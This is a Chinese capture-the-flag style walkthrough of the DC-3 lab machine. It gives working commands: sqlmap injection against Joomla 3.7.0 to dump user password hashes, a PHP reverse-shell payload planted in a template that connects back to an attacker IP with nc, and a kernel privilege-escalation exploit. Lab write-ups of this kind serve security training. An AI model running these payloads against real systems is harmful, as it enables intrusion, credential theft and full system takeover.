DC-3靶机
Posted bingtang123
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DC-3靶机相关的知识,希望对你有一定的参考价值。
仅供个人娱乐
靶机信息
下载地址:http://www.five86.com/downloads/DC-3.zip
一、主机扫描
arp-scan -l
nmap -A -p 1-65535 -sV 192.168.17.133
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-4c73aac51e6f1a1a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
二、信息收集
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-9ed4b72b9eb8e043.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-41937cd8aa30c520.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
使用joomscan对Dc3靶机网站进行扫描
apt-getinstall joomscan
joomscan--url http://192.168.17.133
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-c77130e4e4eec3f4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
git clone https://github.com/Tuhinshubhra/CMSeeK
复制到/root
root@kali:~/CMSeeK# python3 cmseek.py --url http://192.168.17.133
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-bf250f0fb108e70e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
searchsploit joomla 3.7.0
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-bdab3ffad7ad2208.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-c072eb603c2309e8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
数据库
sqlmap -u "http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-8cd79b2277c97c34.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
当前数据库
sqlmap -u "http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-027e5d1da734a9d2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
表
sqlmap -u "http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-fdfe3dc3b5378fb8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
列
sqlmap -u "http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-0ae8c5f3348ff6b3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
查询#__users表的name、password字段,输出信息
sqlmap -u "http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-d4682b55b115be14.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
vim 1
admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zukali
john 1
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-46deae5d462168ad.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
破解得到admin密码为snoopy。
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-d857b60eeff6eafa.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
登录后台 信息收集
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-888e9b49c642615d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
信息收集
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-210aeb7584245e6c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-3de56b166df7fadf.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-a76cc6091763f318.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-cba6b503f14f008e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
在Joomla后台的模板管理中,选择一个模板并编辑,在modules.php插入小马
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-4e96adb4301f3f82.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
编写反弹shell的PHP代码,,监听4444端口,并执行脚本文件,将反弹靶机shell到kali
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-ef5ce75b5107ba23.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
失败了 换页面编辑
nc -lvp 1337 #kali开启1337监听端口
<?php system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.17.129 1337 >/tmp/f‘);?>
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-61b3a8da56613969.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-08aeaf437d03548f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
成功获取shell,使用searchsploit工具查找Ubuntu 16.04的提权漏洞,发现一个“拒绝服务漏洞”,可以用来提权。
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-b6825997bc4ca0ac.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
cp /usr/share/exploitdb/exploits/linux/local/39772.txt /root
cd /root
cat 39772.txt
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-94b70e88cdf7889a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
直接下载失败
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-5c5a0049358d3eca.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-8b5d7ad02e57e610.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-48eea2a2364bf4e0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
ls
cd ebpf_mapfd_doubleput_exploit
ls
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-3c59b6b3a9e6193b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
蚁剑上传
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-48f03c7ad2ad25bd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
./compile.sh
./doubleput
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-f9fe15ff3b2ff807.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-a2ef4ec78fdd0928.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
以上是关于DC-3靶机的主要内容,如果未能解决你的问题,请参考以下文章